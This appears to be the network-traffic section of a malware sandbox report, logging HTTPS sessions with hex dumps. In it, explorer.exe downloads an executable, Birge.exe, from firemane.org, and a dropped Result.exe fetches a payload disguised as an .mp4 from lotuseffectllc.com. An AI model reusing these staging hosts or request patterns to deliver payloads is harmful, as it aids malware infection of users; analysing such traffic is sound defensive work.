2024-12-30 18:45:41 UTC	8000	IN	Data Raw: 0c 33 da 5e 79 09 98 90 52 e5 46 57 2a b2 5e a8 04 a0 7b 40 3a f6 3a d8 72 40 fc 4f 55 92 07 bd 97 7b 1b c5 5a e8 1e 87 22 e1 a8 b8 e1 c6 17 b8 ee 12 2e a4 25 d3 aa db ed ee 5c 71 b9 58 4c 76 ed c6 74 60 97 3a 39 73 ef 8a c6 f8 9d 92 86 04 a4 b6 27 ca a3 e1 dc d5 07 49 d2 81 58 48 a4 1b 73 2a 4e 26 d2 02 20 47 ae 0a 95 69 74 4b 45 ab 22 ec 98 0d f0 e3 32 c6 39 98 c1 66 33 ff 5a e0 28 26 00 7e e2 4e 15 7c a2 5e 1f 2d 65 bc 35 46 7e b1 f1 47 1a b1 32 e1 aa 33 0f a5 94 58 59 c4 da 4c 0c 58 47 6a f3 ff 90 bb 56 58 9e 10 e5 2c 63 6d c1 64 db e4 7b 68 70 f8 7b ae 2a 55 b5 63 f7 4d f5 6f c5 ed db a7 f2 b4 0d 12 c9 7a 09 3b 0d 4d 97 f8 8d 05 e3 bb 63 13 69 0e ec 09 eb c3 26 88 73 63 81 f4 69 5f 7b cd 6e fc 81 47 d0 da b3 d8 73 a8 f5 c5 fd 6f 23 17 db 69 1a be 22 Data Ascii: 3^yRFW^{@::r@OU{Z".%\qXLvt`:9s'IXHsN& GitKE"29f3Z(&~N\|^-e5F~G23XYLXGjVX,cmd{hp{*UcMoz;Mci&sci_{nGso#i"
2024-12-30 18:45:41 UTC	8000	IN	Data Raw: 41 6c 6d 49 00 99 d5 80 7c ab fc 70 92 cd f3 7c 66 28 ba a0 af bc 41 b2 15 f8 3d a3 bc 24 c4 9c 61 a0 82 5e 28 a1 71 b1 c6 1c cc 11 0b 0b ca e5 f4 cb 44 c8 b2 97 eb ce 63 c3 a6 70 ae 9c e7 59 c4 03 0f 08 0b 65 65 f6 b4 ca 58 fd 72 e1 21 24 f2 79 19 3d 27 6a 36 3e 7c ce 52 d2 21 0e f2 b5 10 33 f2 19 51 f1 12 0e c4 7d e0 f0 8d ab 9a 1c 22 7e ec bc 49 e8 a7 0d d6 02 15 10 59 1f cd 9c df 11 dc 3f 4c 47 1b 03 a9 c5 06 13 16 70 ed 15 ac 08 f7 44 44 b5 7a f3 f2 19 66 ed 2f b4 c5 41 75 1b e3 0e 78 29 d7 dd bd a9 31 5f 5e da 49 ce 7d d0 e8 d7 70 af 37 21 30 15 e9 be a3 4b 51 b0 3d 17 a0 5f 9a 45 8b 99 b5 9e 9c 7b a6 a4 f5 5b d9 ba 28 77 60 6e b7 81 87 49 b6 88 35 2d 94 65 dc 96 c4 4f 0c bd 0d a2 14 b5 a4 a3 f5 14 4d e2 01 12 a8 37 02 e0 1a a3 2b 01 b9 04 01 3f 3b Data Ascii: AlmI\|p\|f(A=$a^(qDcpYeeXr!$y='j6>\|R!3Q}"~IY?LGpDDzf/Aux)1_^I}p7!0KQ=_E{[(w`nI5-eOM7+?;
2024-12-30 18:45:41 UTC	8000	IN	Data Raw: 52 7d 67 74 32 8e 7a 9e 28 ea 60 9f 1f f9 e3 ef b0 a6 61 a4 f2 4f ef 4d 82 92 fd c6 66 a1 3d b4 8a ae 5d 3b 1b 03 7b 61 40 3e a9 48 ce 0c 25 b0 f1 40 a8 2a e8 7e 54 9c 50 ff 80 79 8f 99 10 fc d6 a8 90 50 ca 02 b4 d9 d5 9e b9 9d fe c7 5e a7 f0 1b f0 26 c2 8a 91 90 0c df e4 60 9b cb dc f1 39 ea e2 79 80 76 14 fa 62 b9 5a 04 ed b0 84 98 95 f2 a8 74 d4 a7 72 e0 d3 61 4d 28 70 bf 00 7e 65 e6 b3 ee bf e4 60 97 ed af 86 ed 4f 27 af b3 82 e7 c6 6e 79 3a a1 7f 2b 53 06 31 2e a3 e6 9c 94 42 ea a3 60 4e cb 64 95 15 60 46 3c 9d b6 40 88 d0 99 74 a8 21 bc b1 d1 09 63 57 27 2f 62 af 7a 51 7a 27 43 31 99 a1 d1 fe 5e 36 3e d3 df 03 c6 81 34 55 a2 43 15 2f 34 ff 72 51 3b 76 42 b7 a2 2a ec 0b 88 d3 7a 84 a7 aa 69 ac dd db 54 30 13 5b 0f ae fb 94 95 29 d0 1a be f4 7f 1e db Data Ascii: R}gt2z(`aOMf=];{a@>H%@~TPyP^&`9yvbZtraM(p~e`O'ny:+S1.B`Nd`F<@t!cW'/bzQz'C1^6>4UC/4rQ;vBziT0[)
2024-12-30 18:45:41 UTC	8000	IN	Data Raw: bf 1b 7d 52 9a dd 1e d8 68 bb 4c 21 a2 cc 91 bf ea 19 00 47 08 4b f1 bb 40 ae 4d b6 3d 3d ae 22 fa c9 d2 41 ab 98 8f 05 5d 10 5e 28 53 61 23 a2 9c 93 72 f4 eb 42 12 d7 ac 51 5d 3c c7 47 51 e5 de 63 69 09 48 c5 54 88 91 88 a3 5f dd ac 20 f9 0e 35 c2 0f 08 33 70 68 1f 59 19 f5 9d 14 e4 89 d4 19 18 7c da f2 f3 dd b6 f1 f8 85 05 4c 63 6e 6e 12 3d 41 fe c7 7c ed 0e 36 e6 58 c5 5c 52 a5 fe df 75 04 10 87 ca 40 98 16 43 aa 29 b2 ad d3 52 ab ca b4 df 10 a9 8d 6e 48 77 23 49 ad 43 c8 d3 e8 aa 05 b3 db c2 84 85 09 2b 58 25 e4 12 01 eb bd 30 99 39 b1 31 95 06 11 2d 50 5d 6e 3d 31 d3 69 2b 9e 9a 22 5e 82 7a 79 25 cb 75 11 ec df a7 ca 33 26 e4 d8 b8 e9 25 f9 20 fc 6b 54 f2 6d cd e4 1d 18 62 71 23 15 dd 65 9c ef d9 f8 86 2a 68 6d 39 19 cf 29 5b 4f e8 9f a3 af 70 72 26 Data Ascii: }RhL!GK@M=="A]^(Sa#rBQ]<GQciHT_ 53phY\|Lcnn=A\|6X\Ru@C)RnHw#IC+X%091-P]n=1i+"^zy%u3&% kTmbq#e*hm9)[Opr&
2024-12-30 18:45:41 UTC	8000	IN	Data Raw: 9d df 52 3b 2e f1 83 c0 32 1d 4f e8 e7 bd 60 02 87 e6 79 ad c3 61 15 91 38 56 12 7b 9b a1 b2 e7 2f ad e3 3f 98 72 d6 83 9a 8a c9 c3 16 9a b1 32 b3 bc dc d9 60 0b 83 c4 5c 4b fa 3f e6 04 c7 a3 72 6d 79 58 d6 db 8c 30 4a 4b 66 0e 5c 39 cf c4 cd 71 05 38 8a 2c 72 ed b3 10 20 75 17 8d 22 df 88 7a 68 95 ca bd d9 f7 ca ed ac 58 f9 17 36 e2 4a a4 7c 42 69 96 9f 81 6a 6f c0 60 02 72 08 aa aa c8 ad 74 e5 c2 ee 03 a3 bb b1 3d b6 ac f6 e5 b3 fe 54 2a 4a 33 db ba ef c8 2a e7 b0 61 b0 ee 7e 35 9d d5 60 81 e2 be 9b 7d de 77 26 93 8b 49 4e d9 79 e6 da 40 c0 30 94 e4 2b 4a 72 ce dd 01 41 99 53 85 e8 28 5f c2 c6 62 e1 62 df 90 36 71 3b 80 24 44 04 82 c0 b5 6e 51 17 50 92 44 96 99 65 a1 8a 2c a3 ad b3 15 d3 02 7e 34 be 02 73 73 81 0d 21 37 f4 14 3f ee 7f a2 fb 5c 4b 76 f1 Data Ascii: R;.2O`ya8V{/?r2`\K?rmyX0JKf\9q8,r u"zhX6J\|Bijo`rt=TJ3a~5`}w&INy@0+JrAS(_bb6q;$DnQPDe,~4ss!7?\Kv
2024-12-30 18:45:42 UTC	8000	IN	Data Raw: 99 75 e1 42 d0 3e 32 0b d9 bf 67 17 61 de c3 bf 3f 64 ef 0c 72 93 55 57 2a 4c 57 08 bf 75 77 89 e4 d9 b3 21 43 cc b3 1c 23 c9 26 78 dc 85 55 76 12 1a fc 73 60 3f 75 e1 d0 e3 20 d7 17 6a b9 24 b6 d2 2b fc 80 84 04 c4 4b 77 38 f4 d4 a7 92 69 18 9b a3 95 a1 20 b4 a1 dc 47 1b de 4d 8f 0d 7e 96 f7 b5 8f 3d f5 51 ab 5c ca e9 9d 7e 2e 62 b0 83 00 3a 50 34 67 8a 51 a5 ef d2 f4 9a b7 e4 80 ff 65 5a 06 a2 29 24 57 6d 90 12 a9 ca 2e c1 e8 0e 9a 31 0b 7e f0 dc fe a4 16 34 bb 1c 7e 24 40 b7 5d 9e c5 4c 21 e2 29 8e ee 37 b4 2c a2 c5 80 b9 d8 5c d4 f3 d0 bc 57 8c 44 04 3d c6 ab aa d4 9f 98 65 06 28 44 a5 35 fb e8 32 07 e3 4d 66 e9 9b 7b 01 d6 a4 44 44 44 96 32 d5 8d c9 91 05 03 00 92 a8 08 c1 0c f5 71 a6 ae 31 7a 73 f1 08 89 51 43 fe db 67 67 ed 2f dd 50 1c f1 2a eb ac Data Ascii: uB>2ga?drUWLWuw!C#&xUvs`?u j$+Kw8i GM~=Q\~.b:P4gQeZ)$Wm.1~4~$@]L!)7,\WD=e(D52Mf{DDD2q1zsQCgg/P
2024-12-30 18:45:42 UTC	8000	IN	Data Raw: cf f1 e7 56 83 f9 66 a6 45 fd 17 98 0b cf bc ab 55 3d 62 44 00 0e ec a1 3f 4e d2 43 b5 51 85 7c 09 ce 61 34 bd 9b 52 ac 92 b8 d2 8e 68 04 ec 42 8b 55 04 1f 2f fd aa d3 74 2d 66 da b4 71 f4 64 69 59 79 5f 7f a6 93 36 d6 e5 a4 b6 b6 80 9a 6c fa 8a f9 3e bc 08 ff a9 82 1b 73 bc 94 fb 8f c7 8e 59 23 39 7b 2c c7 54 76 25 bb 58 81 b0 da d1 78 64 3c 23 66 69 1d ba a1 77 e7 6c 0b 6c b4 49 8e 80 35 c3 53 51 c6 b7 91 4f 8c b5 f1 48 e9 05 96 96 8f d9 4b 58 43 e1 84 a6 f1 15 8c 71 16 1b 1a 54 2a 39 31 9a 54 18 28 f9 43 a3 5f 4e 70 c8 2a fe c6 6d 94 7d ea 62 a0 36 15 35 21 ce 0c a2 f5 eb 55 1c 17 f8 74 12 da be 9a 67 b9 8c af 12 03 6b 7b 41 e2 90 1c a5 55 6f 5c 4c 4c b9 2e 1c 9c a9 67 d7 e1 f9 c9 28 26 1d 13 35 d5 48 af c9 36 e6 0d 53 19 6c bc 24 16 f5 30 fe 4a bb 7b Data Ascii: VfEU=bD?NCQ\|a4RhBU/t-fqdiYy_6l>sY#9{,Tv%Xxd<#fiwllI5SQOHKXCqT91T(C_Npm}b65!Utgk{AUo\LL.g(&5H6Sl$0J{
2024-12-30 18:45:42 UTC	8000	IN	Data Raw: be 20 18 7c 2c 77 08 c5 83 26 35 36 93 d4 1b 6f d8 85 65 7f e9 16 3c 5c f7 d7 ea 6b 9b b1 ce 80 ac 40 2e eb 7a 52 6b fb 7e 16 b6 18 d4 0d 31 8c b5 07 93 e4 bb e5 b6 4f a4 ca a1 46 e1 b7 68 ff 5f 7d 70 af 66 30 7e b3 3b 15 29 da c2 a1 f3 01 38 b7 21 50 23 a1 3f 41 6e 58 a7 ed e8 e5 05 dd 27 3b 8e aa 38 6c 39 e5 e3 c6 3c ef 52 39 6e 5c 5d da 26 d8 12 3d e5 2e c8 a2 46 0e be 63 c4 60 5e b0 ba c7 4e dd 52 8c 97 8d b6 d4 08 9a 90 7d db d3 f6 36 43 8d a2 f7 4b 56 0b 86 39 98 56 f5 8e f0 37 8f 96 b8 0f 4d 63 a9 dc 29 12 9d c2 ca 08 b8 6c 64 2c 5d a3 69 d0 66 27 fd c0 e9 ff 08 21 b3 02 3b 24 3b 2c 35 4f 29 59 69 4c aa 5d 5f ee da 0a 31 c1 25 2a 40 fc c4 cf 80 bf 62 2e be 4d 67 fa c0 2c cf 15 c4 48 55 a0 44 24 59 31 b7 41 db 19 7d 3a 79 51 48 f2 05 37 82 cf eb 34 Data Ascii: \|,w&56oe<\k@.zRk~1OFh_}pf0~;)8!P#?AnX';8l9<R9n\]&=.Fc`^NR}6CKV9V7Mc)ld,]if'!;$;,5O)YiL]_1%*@b.Mg,HUD$Y1A}:yQH74
2024-12-30 18:45:42 UTC	8000	IN	Data Raw: 3d cf d7 58 b3 db b6 4d db 25 6f 88 2e 71 c1 d0 a5 89 59 dd 09 c9 b1 b5 b5 c8 9c 48 2a 21 4d 1e d2 5a 16 15 5f af 4f d2 84 a9 3c 3e 41 97 c1 01 b4 e0 a0 77 01 dc de 2d 71 e7 68 7c b7 ab 3a d4 b8 3b c5 90 82 8b e0 bd ae 8e 49 25 95 e8 a9 c9 7f 95 3f fb b8 2e 0c 31 67 46 a1 27 84 91 77 69 ca a6 19 54 74 2e b9 e2 6e 35 3b b8 80 ba 36 04 f8 fc f9 ec 5e 9d b0 71 02 03 11 91 63 11 b9 0d 82 10 b9 9c 43 47 d2 3e c7 48 cd 3b 9b 00 0f 68 e9 c2 d8 fc e5 47 4d d5 6d af 90 99 f9 40 2f ae 37 25 eb ca e1 48 3b 8d 8c 03 1c 5b 60 e6 b5 e7 06 97 34 96 a3 fc 66 b9 41 f8 a0 e1 3b fb 37 78 3c 75 1d 01 09 06 aa 64 ec 04 f3 b0 84 12 b8 cb 5b 49 fc d5 b5 1b 57 c9 5f be cc 92 78 e3 f2 2c 8c f6 73 56 2d 71 d2 a6 60 ba f7 fe bf 00 8b 67 98 17 e7 1d 89 f5 e9 ea e0 2e 7a 11 4a 6d 81 Data Ascii: =XM%o.qYH*!MZ_O<>Aw-qh\|:;I%?.1gF'wiTt.n5;6^qcCG>H;hGMm@/7%H;[`4fA;7x<ud[IW_x,sV-q`g.zJm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	50076	45.118.248.184	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:45:55 UTC	159	OUT	GET /Birge.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: firemane.org
2024-12-30 18:45:55 UTC	263	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 30 Dec 2024 18:45:55 GMT Content-Type: application/x-msdos-program Content-Length: 8450386 Connection: close Last-Modified: Mon, 30 Dec 2024 14:20:30 GMT ETag: "80f152-62a7d83c9db93" Accept-Ranges: bytes
2024-12-30 18:45:55 UTC	16121	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 58 7c 80 4e 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 6e 00 00 00 5c 0d 00 00 42 00 00 83 38 00 00 00 10 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$A{k888b<88b,888888%88"88Rich8PELX\|Nn\B8
2024-12-30 18:45:55 UTC	16384	IN	Data Raw: 11 00 00 8b 55 f0 8d 42 10 66 83 38 00 0f 84 84 00 00 00 8b 4d f4 89 45 c0 8b 02 6a 20 89 4d a8 59 8b d0 23 d1 c7 45 ac 02 00 ff ff c7 45 b0 0d 00 00 00 89 4d bc 89 7d d4 89 55 b8 a8 02 74 26 8d 45 a8 50 6a 00 53 ff 75 fc c7 45 b0 4d 00 00 00 c7 45 d0 01 00 00 00 ff d6 89 45 f4 c7 45 e0 01 00 00 00 eb 28 8b 45 f0 f6 00 04 74 14 ff 75 f4 6a 03 68 0a 11 00 00 ff 75 fc ff d6 89 45 f4 eb 15 8d 45 a8 50 6a 00 53 ff 75 fc ff d6 8b 0d 14 72 43 00 89 04 b9 81 45 f0 20 40 00 00 47 3b 3d ec 2d 47 00 0f 8c 58 ff ff ff 83 7d e0 00 75 1a 6a f0 ff 75 fc ff 15 58 82 40 00 83 e0 fb 50 6a f0 ff 75 fc ff 15 74 82 40 00 83 7d ec 00 75 18 6a 05 ff 75 f8 ff 15 44 82 40 00 ff 75 f8 e8 bb f1 ff ff e9 7b 03 00 00 ff 75 fc e8 ae f1 ff ff 33 db 81 7d 0c 05 04 00 00 75 11 89 5d 10 Data Ascii: UBf8MEj MY#EEM}Ut&EPjSuEMEEE(EtujhuEEPjSurCE @G;=-GX}ujuX@Pjut@}ujuD@u{u3}u]
2024-12-30 18:45:55 UTC	16384	IN	Data Raw: 00 65 00 78 00 69 00 73 00 74 00 2c 00 20 00 6a 00 75 00 6d 00 70 00 69 00 6e 00 67 00 20 00 25 00 64 00 00 00 00 00 49 00 66 00 46 00 69 00 6c 00 65 00 45 00 78 00 69 00 73 00 74 00 73 00 3a 00 20 00 66 00 69 00 6c 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 65 00 78 00 69 00 73 00 74 00 73 00 2c 00 20 00 6a 00 75 00 6d 00 70 00 69 00 6e 00 67 00 20 00 25 00 64 00 00 00 00 00 43 00 72 00 65 00 61 00 74 00 65 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 3a 00 20 00 22 00 25 00 73 00 22 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 64 00 00 00 00 00 00 00 43 00 72 00 65 00 61 00 74 00 65 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 3a 00 20 00 63 00 61 00 6e 00 27 00 74 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 22 00 25 00 Data Ascii: exist, jumping %dIfFileExists: file "%s" exists, jumping %dCreateDirectory: "%s" createdCreateDirectory: can't create "%
2024-12-30 18:45:55 UTC	16384	IN	Data Raw: 67 61 df 0b 31 06 75 dc 27 28 70 c5 18 69 fd 10 a3 10 16 a7 30 16 a7 d0 97 c8 1a e2 90 cc e6 87 35 3f e4 a5 f2 28 d0 19 b9 a3 74 e4 73 e9 35 d2 f9 02 c6 be 83 14 3d c6 71 89 de 7b 89 2f 07 4c 04 98 54 90 5c 48 65 0e 40 ea 7c 3f a4 e9 3b 48 93 88 48 d3 f7 93 4e 22 48 02 a4 13 08 92 00 0e ea e6 65 18 d4 f5 f3 60 61 ff bb 9c e2 0b 80 20 f8 79 12 40 c4 f7 71 23 03 b2 71 3d 90 27 a1 50 24 09 53 8e aa 87 ca 99 52 a8 04 5e fc b5 aa 7f c6 63 75 ef f8 ab 5a ee 67 c6 f5 9d bc ea 4c 6d 1c 92 ec ac 8d ec dd cd b5 c4 d9 76 c4 fc ff 15 85 25 ac 3f bf 12 0f 49 fc e1 29 df 94 3d 8a 67 0b 25 18 32 5e 89 7b 55 e9 31 fe d3 af ea d7 2f df 3d 71 6b 55 64 12 90 05 20 8f 8d 85 63 0b 24 00 c2 1d 02 85 f5 47 29 76 c1 9e 12 93 0f b6 67 1b 7c aa 9a a6 bb 2b 22 41 7b 4f 6f b8 e6 81 Data Ascii: ga1u'(pi05?(ts5=q{/LT\He@\|?;HHN"He`a y@q#q='P$SR^cuZgLmv%?I)=g%2^{U1/=qkUd c$G)vg\|+"A{Oo
2024-12-30 18:45:55 UTC	16384	IN	Data Raw: 42 7f ed 21 c1 8e 04 27 01 c4 22 49 c0 3c bd 76 96 de 33 7d f3 73 8c dd f8 1c 43 1b 9f a3 ef ea e7 e8 be f2 39 3a d7 3f e7 89 00 37 ad f0 80 44 e0 3e 5a 57 1e a0 61 f9 21 49 c0 63 94 2e 3c c5 e5 f9 a7 c8 9f 7b 82 3c 22 73 e6 09 12 a7 1e e1 cc f8 03 78 91 04 d8 0c dd 86 c5 e0 1d 3a de 21 09 b8 83 c0 b1 bb 24 08 04 1d 83 09 5f 7a cc 95 5e 63 4f a2 60 43 d8 0d de e6 ee 7b 8f dc e6 a6 14 7c 46 6e c1 8d 44 c0 9e 44 c0 92 24 c1 b4 6f 13 c6 7c 4c d8 b1 f7 06 0f 92 00 e3 6e 92 82 ee eb 30 22 09 30 24 09 60 67 24 18 74 dc 80 41 fb 2d e8 b7 dd 86 7e f3 2d e8 35 dd 80 5e c3 3a 49 c0 1c 74 ab 86 a1 53 de 05 ed b2 0e 0a ef 1e 68 56 8c 42 a3 7a 0e 1a 2c f8 6b ae 52 f8 5f 87 7a d5 15 68 56 0d d2 6b f3 a1 57 11 09 dd d2 50 68 17 9d 83 56 51 02 34 8a 2e 42 bd b8 0a 6a c5 Data Ascii: B!'"I<v3}sC9:?7D>ZWa!Ic.<{<"sx:!$_z^cO`C{\|FnDD$o\|Ln0"0$`g$tA-~-5^:ItShVBz,kR_zhVkWPhVQ4.Bj
2024-12-30 18:45:55 UTC	16384	IN	Data Raw: 91 34 ff 44 94 30 f9 57 88 e1 7d 9d 05 72 e3 ef 2d 41 43 4f 29 93 ff 23 9a 7f 01 aa 9b f2 51 d9 f4 08 15 ad f5 78 dc 3d c0 64 2f 43 99 d4 e6 bf 48 93 5f 90 52 7f a1 02 00 72 09 00 d9 9d b3 92 04 18 08 00 10 d3 03 0f cd 7f 80 09 61 fe 4f 3f f9 c3 00 a0 e8 0c 28 55 02 a4 b2 fd ef 01 81 97 12 cf bd 72 9d c2 f4 57 24 4f ff df 02 00 ea df 03 00 4b bc 4e 98 ff f4 b3 cf a9 cf 30 f3 fc 33 3e fe 18 4b 1f bd 20 44 88 74 bf 28 f5 f8 17 6d fe 1f d1 f8 bf 06 00 51 01 90 8f 04 10 10 20 1f 12 f8 0a 00 d0 fc 97 5f 4c 11 00 26 b1 f8 42 ac 11 b0 80 85 8f 3f c4 fc 27 9f 62 ee e3 f7 31 fb a1 0c d3 2f 86 08 49 dd 84 25 91 fe c5 1c 00 34 ff 97 00 d0 4a f3 6f a4 6a 09 00 95 04 80 32 39 00 cc e4 a3 67 fa 21 21 20 19 6d 93 31 68 1a 13 cd 00 81 a8 24 00 54 10 00 ca 87 3d 09 01 1e Data Ascii: 4D0W}r-ACO)#Qx=d/CH_RraO?(UrW$OKN03>K Dt(mQ _L&B?'b1/I%4Joj29g!! m1h$T=
2024-12-30 18:45:55 UTC	16384	IN	Data Raw: b9 93 fa c8 9d 32 40 fe 34 35 ab 87 9c 19 6d a4 8d 9c 47 64 d7 49 f8 b7 18 c3 a7 23 02 81 43 bd 88 98 fe 0c b1 f3 bf a5 7e 85 38 d9 2f 90 3c f7 2b 3c 5c fc 05 8a 96 9f e1 f1 52 1d aa 16 82 51 21 73 40 d9 ac 25 8a 69 ee c5 73 ae 28 9d 77 43 c5 9c 1b aa 44 fa 97 5d e7 fe 1a af b9 8a 32 d9 65 5e e3 80 82 59 1b e4 d2 dc 45 fa 7f 40 f3 4f 63 b2 4f 99 52 97 94 46 83 7f 48 b3 cf 25 0c e4 cf 98 50 a6 94 31 1f 13 5a a6 f5 08 0b 5a 34 76 75 1a bc 0a 52 c6 95 90 32 a1 84 e4 89 0b 48 9a 38 47 9d a1 f9 9f e1 f9 73 bc e6 02 df 5b 89 d7 2b 13 74 54 90 3f a6 c6 24 ae 81 a2 66 2d 14 35 e8 a0 a8 95 c9 bf 97 e6 3f 24 cc df 18 25 83 26 28 65 f2 2f a3 f9 97 77 5a e1 71 a7 0d 65 c7 63 7b 94 77 39 50 34 7a a6 fb f2 4e 67 49 8f 3b e4 aa e8 b8 42 b9 e0 71 bb ab a4 f2 0e b9 ca 3a Data Ascii: 2@45mGdI#C~8/<+<\RQ!s@%is(wCD]2e^YE@OcORFH%P1ZZ4vuR2H8Gs[+tT?$f-5?$%&(e/wZqec{w9P4zNgI;Bq:
2024-12-30 18:45:55 UTC	16384	IN	Data Raw: eb 98 ad b0 88 dc 02 b3 30 02 40 f0 a6 df 01 00 6d af 75 d0 bc bf 16 1a 1e 6f 43 dd 63 0d d4 3d 57 43 c3 77 35 83 c0 6a e8 04 af 81 7e d8 db 30 8c 78 07 fa c1 6f 43 d3 93 d7 dd de 07 b5 6b 6a d0 74 32 9a 35 b1 33 0b bc 66 6c bc df c3 f0 d2 ff 54 dc 4e a5 e6 d4 57 81 e0 f5 f6 9f 74 13 33 0a 66 38 dc d9 dc 7c 2d ea 54 fd d5 08 a5 6c 1b 8f 43 d9 57 3d fe af 9a 51 b0 d9 e3 3b 7f 76 e9 92 d9 01 43 bb 4b 29 4a b6 f7 5e ec b5 8c fa 97 f5 26 0f f0 96 c1 43 02 c0 03 02 40 06 de 32 7a 80 35 26 69 54 38 d6 1a ba e1 5d 3d 2b ec d3 d2 c7 45 55 65 18 9f 5f 69 fb 17 86 bf 1f 66 34 79 a1 df 07 00 a2 fc ef a4 7a 0c 01 0e fa 28 0e 77 47 67 86 0f 5a e3 ae 4b 2b fe 3d bc a9 87 10 5b 25 5c d7 39 c6 6b f7 42 ff d8 7b 50 3e ba 11 47 8e ad c2 8e 93 df c3 bb a7 fe 16 ef 9e f9 ef Data Ascii: 0@muoCc=WCw5j~0xoCkjt253flTNWt3f8\|-TlCW=Q;vCK)J^&C@2z5&iT8]=+EUe_if4yz(wGgZK+=[%\9kB{P>G
2024-12-30 18:45:55 UTC	16384	IN	Data Raw: 63 f4 09 4b 5f 9c 19 f0 94 20 18 26 26 ee a1 6d f8 0a 1e 0e 54 e2 7e 6f 29 ee f5 94 c8 ef 1b 51 80 d6 ae 7c dc ee c8 63 72 71 ab 3d 1b 37 db b2 a4 b4 b4 11 05 6d e9 4c 1a 61 20 03 41 d3 c3 24 34 3e 48 c4 d5 7b f1 68 b8 2b 20 10 45 04 84 13 01 17 51 2e 10 70 53 8e 80 96 93 c8 b9 7e 0c 19 cd 87 90 da e8 83 c4 ab 5e 88 bb ea 8e a8 2b ce 08 af b3 97 56 01 ce 57 5a 20 50 1c 0b 50 66 88 d3 a5 b2 63 01 0e e7 1d c0 c1 2c 71 a3 ae 1d b0 8c 5a 4b 00 ac 80 f1 45 81 80 77 65 08 60 c4 ae 00 e9 40 c0 f3 6f 42 3b 68 99 6c 37 c0 69 22 40 00 40 e4 ec 22 68 05 2d 92 2e 10 24 ed 0a 88 58 0c 23 02 c0 44 9c 0d 70 7e 09 b4 8e bd 05 bd 23 8a 30 3e 64 f2 47 73 5f e7 66 07 2f 67 dd 2c 25 a5 ff 2e 7f 2b 7e b5 fd 23 37 01 80 7a 02 e0 fe 0f bf 73 e7 c1 0f be db 52 ff da bf 44 d4 ff Data Ascii: cK_ &&mT~o)Q\|crq=7mLa A$4>H{h+ EQ.pS~^+VWZ PPfc,qZKEwe`@oB;hl7i"@@"h-.$X#Dp~#0>dGs_f/g,%.+~#7zsRD
2024-12-30 18:45:55 UTC	16384	IN	Data Raw: f3 32 45 e5 39 27 e9 ea 7f 57 43 1c 51 7e d6 0a 89 5e 7a 38 65 b1 07 2e 07 36 c3 4c 65 0d 34 09 00 65 25 65 6c 22 00 56 2b ae c3 7b 0a 6f 62 cd ce a5 04 c0 9b d8 a6 be 1c ca 7a 6b b0 cf 7c 23 34 1d b6 42 df 93 00 38 b4 0b 96 04 80 ed 59 55 d8 07 ed 86 53 f0 1e b8 86 12 14 11 ea f0 8c 3a 00 ef 58 2d f8 24 e8 c0 2f 45 87 08 20 00 d2 44 0c 71 38 d3 13 7e b9 d1 f0 2e a8 81 7b e1 5d d9 31 00 45 9c fc 0b bb e1 4c 04 38 15 cb 20 e0 54 cc 22 66 41 3b 7c 0b 00 f2 5d 02 a2 c8 17 56 03 fe 5f 02 80 d3 3f 18 00 62 05 e0 db 00 60 f9 df 7f 2c 01 c0 8f 00 f0 27 00 0e 13 00 47 09 80 63 04 c0 31 02 e0 38 01 70 b2 f7 f7 38 d3 f7 29 82 07 c6 10 31 98 87 c8 3e 27 84 b4 73 b2 7f f0 1e cb 7f 2d cb 7f 2b ce 3e e2 c4 cf 04 3d da 46 04 b0 f8 1f ec 40 e0 dd 1d 08 ba ad 80 f3 b7 76 Data Ascii: 2E9'WCQ~^z8e.6Le4e%el"V+{obzk\|#4B8YUS:X-$/E Dq8~.{]1EL8 T"fA;\|]V_?b`,'Gc18p8)1>'s-+>=F@v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	50077	192.185.175.158	443	5852	C:\Users\user\AppData\Roaming\Result.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:45:55 UTC	103	OUT	GET /plugins/panel/uploads/Mwczjtflz.mp4 HTTP/1.1 Host: lotuseffectllc.com Connection: Keep-Alive
2024-12-30 18:45:55 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 18:45:55 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 27 Dec 2024 16:57:13 GMT Accept-Ranges: bytes Content-Length: 1229832 Content-Type: video/mp4
